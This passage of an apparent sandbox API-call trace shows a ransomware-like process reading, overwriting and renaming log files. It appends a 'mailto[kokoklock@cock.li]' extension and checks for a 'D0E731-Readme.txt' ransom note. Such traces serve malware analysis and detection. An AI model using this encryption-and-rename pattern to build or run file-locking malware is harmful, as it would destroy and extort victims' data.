0xd33fb1c8 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xa9dc04a7 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xf0f652eb [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x6d72aa8b [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x7c455a76 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x96131a3a [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xa3ca5c32 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xc3de1c4f [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xdfe785dd [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x5d10421f [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x2fba17e1 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x6962dd23 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xafaa5d79 [0077.472] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xcccc0353 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x48bf0040 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x7e942e3e [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x5275398f [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x9cb7a68d [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x4a4f6d89 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xab103c1d [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x5dec1cb8 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xcdf07557 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x3bde5c8f [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x7039511f [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x5191ec52 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x4650ebac [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x68b8f1fe [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xf497dbbf [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x4700293c [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0x9afae6ce [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xfd47f1a4 [0077.473] RtlRandom (in: Seed=0x1f8bf908 | out: Seed=0x1f8bf908) returned 0xef9e9b23 [0077.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d70 [0077.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d70) returned 1 [0077.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b64c0 [0077.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.485] ReadFile (in: hFile=0x8f8, lpBuffer=0x34b64c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f8bf8fc, lpOverlapped=0x0 | out: lpBuffer=0x34b64c0*, lpNumberOfBytesRead=0x1f8bf8fc*=0x2000, lpOverlapped=0x0) returned 1 [0077.490] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f8bf8c4 | out: lpNewFilePointer=0x0) returned 1 [0077.490] WriteFile (in: hFile=0x8f8, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f8bf8f8, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x1f8bf8f8*=0x2000, lpOverlapped=0x0) returned 1 [0077.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492cd0 [0077.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0077.490] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x3492cd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f8bf8f4, lpOverlapped=0x0 | out: lpBuffer=0x3492cd0*, lpNumberOfBytesWritten=0x1f8bf8f4*=0x20, lpOverlapped=0x0) returned 1 [0077.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492cd0) returned 1 [0077.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b64c0) returned 1 [0077.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f8bf920*=0x8, lpOverlapped=0x0) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x1f8bf938*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x1f8bf938*, lpNumberOfBytesWritten=0x1f8bf920*=0x4, lpOverlapped=0x0) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f8bf920*=0x4, lpOverlapped=0x0) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f8bf920*=0x6c, lpOverlapped=0x0) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f8bf920*=0x20, lpOverlapped=0x0) returned 1 [0077.491] WriteFile (in: hFile=0x8f8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f8bf920, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f8bf920*=0x4, lpOverlapped=0x0) returned 1 [0077.491] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d48) returned 1 [0077.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.492] CloseHandle (hObject=0x8f8) returned 1 [0077.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.492] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" [0077.492] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731" [0077.492] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.492] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.493] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl", dwFileAttributes=0x2020) returned 0 [0077.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.493] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.493] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.493] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ef08) returned 1 [0077.494] RtlExitUserThread (Status=0x1) Thread: id = 855 os_tid = 0x1460 [0077.452] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl")) returned 0x2020 [0077.453] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl", dwFileAttributes=0x20) returned 1 [0077.453] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f4 [0077.453] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x1f93fa2c | out: lpFileSize=0x1f93fa2c*=8192) returned 1 [0077.453] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.453] ReadFile (in: hFile=0x8f4, lpBuffer=0x1f93fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x1f93fa00*, lpNumberOfBytesRead=0x1f93f9fc*=0x4, lpOverlapped=0x0) returned 1 [0077.455] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492cd0 [0077.455] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492cf8 [0077.455] NtQuerySystemTime (in: CurrentTime=0x1f93f9d8 | out: CurrentTime=0x1f93f9d8*=132121176353471376) returned 0x0 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x63d1fdf9 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x24ad19d2 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x46f89c00 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xb328552 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xdb36870d [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x58f1bec6 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x43f0ead0 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x52d201b0 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x30b432de [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xbdcebe9 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x69f01fd8 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x943d4459 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x56e88364 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xd44b650e [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x7e71e0d5 [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x221c2e2b [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x870cf18d [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xbf40c06f [0077.455] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xf203b454 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x492884a6 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x5e43c620 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x7812c53a [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xe8ff5125 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x98abfaeb [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x43e12984 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x55a74c28 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x74338127 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xf84ebaf0 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xe9d25ef4 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0xede25707 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x30bebee9 [0077.456] RtlRandom (in: Seed=0x1f93f9e4 | out: Seed=0x1f93f9e4) returned 0x2e876720 [0077.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0077.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479ad8 [0077.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d48 [0077.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d48) returned 1 [0077.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0077.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b2420 [0077.467] ReadFile (in: hFile=0x8f4, lpBuffer=0x34ae380, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f93f9d8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesRead=0x1f93f9d8*=0x2000, lpOverlapped=0x0) returned 1 [0077.486] SetFilePointerEx (in: hFile=0x8f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f93f9a0 | out: lpNewFilePointer=0x0) returned 1 [0077.486] WriteFile (in: hFile=0x8f4, lpBuffer=0x34b2420*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f93f9d4, lpOverlapped=0x0 | out: lpBuffer=0x34b2420*, lpNumberOfBytesWritten=0x1f93f9d4*=0x2000, lpOverlapped=0x0) returned 1 [0077.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d70 [0077.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492898 [0077.486] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492898) returned 1 [0077.486] WriteFile (in: hFile=0x8f4, lpBuffer=0x3492d70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f93f9d0, lpOverlapped=0x0 | out: lpBuffer=0x3492d70*, lpNumberOfBytesWritten=0x1f93f9d0*=0x20, lpOverlapped=0x0) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d70) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b2420) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0077.487] WriteFile (in: hFile=0x8f4, lpBuffer=0x3492910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x3492910*, lpNumberOfBytesWritten=0x1f93f9fc*=0x8, lpOverlapped=0x0) returned 1 [0077.487] WriteFile (in: hFile=0x8f4, lpBuffer=0x1f93fa14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x1f93fa14*, lpNumberOfBytesWritten=0x1f93f9fc*=0x4, lpOverlapped=0x0) returned 1 [0077.487] WriteFile (in: hFile=0x8f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f93f9fc*=0x4, lpOverlapped=0x0) returned 1 [0077.487] WriteFile (in: hFile=0x8f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f93f9fc*=0x6c, lpOverlapped=0x0) returned 1 [0077.487] WriteFile (in: hFile=0x8f4, lpBuffer=0x3492cd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x3492cd0*, lpNumberOfBytesWritten=0x1f93f9fc*=0x20, lpOverlapped=0x0) returned 1 [0077.487] WriteFile (in: hFile=0x8f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f93f9fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f93f9fc*=0x4, lpOverlapped=0x0) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492cd0) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0077.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492910) returned 1 [0077.487] CloseHandle (hObject=0x8f4) returned 1 [0077.487] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.488] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" [0077.488] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731" [0077.488] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.488] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.489] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl", dwFileAttributes=0x2020) returned 0 [0077.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479ad8 [0077.489] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.489] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.489] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0077.489] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e930) returned 1 [0077.489] RtlExitUserThread (Status=0x1) Thread: id = 856 os_tid = 0x1464 [0077.495] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl")) returned 0x2020 [0077.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl", dwFileAttributes=0x20) returned 1 [0077.499] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8f8 [0077.499] GetFileSizeEx (in: hFile=0x8f8, lpFileSize=0x1f9bf900 | out: lpFileSize=0x1f9bf900*=8192) returned 1 [0077.499] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.499] ReadFile (in: hFile=0x8f8, lpBuffer=0x1f9bf8d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f9bf8d0, lpOverlapped=0x0 | out: lpBuffer=0x1f9bf8d4*, lpNumberOfBytesRead=0x1f9bf8d0*=0x4, lpOverlapped=0x0) returned 1 [0077.501] SetFilePointerEx (in: hFile=0x8f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492cd0 [0077.501] NtQuerySystemTime (in: CurrentTime=0x1f9bf8ac | out: CurrentTime=0x1f9bf8ac*=132121176353940369) returned 0x0 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xefc24d7 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x97d36f2a [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x589bd5ad [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xf9e0d578 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x54b646d5 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x224505fc [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x8fc2f530 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x4977f878 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x86b0dcaf [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x771c32a4 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x4dfdb56c [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xb7169131 [0077.501] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xbef36a6b [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x4ddd2cfa [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x8ec956f4 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xb45aa1e3 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xde7da89b [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x5ab20f06 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0x4ac0276 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xdee7c567 [0077.502] RtlRandom (in: Seed=0x1f9bf8b8 | out: Seed=0x1f9bf8b8) returned 0xcad8a45 [0077.502] RtlRandom (in: 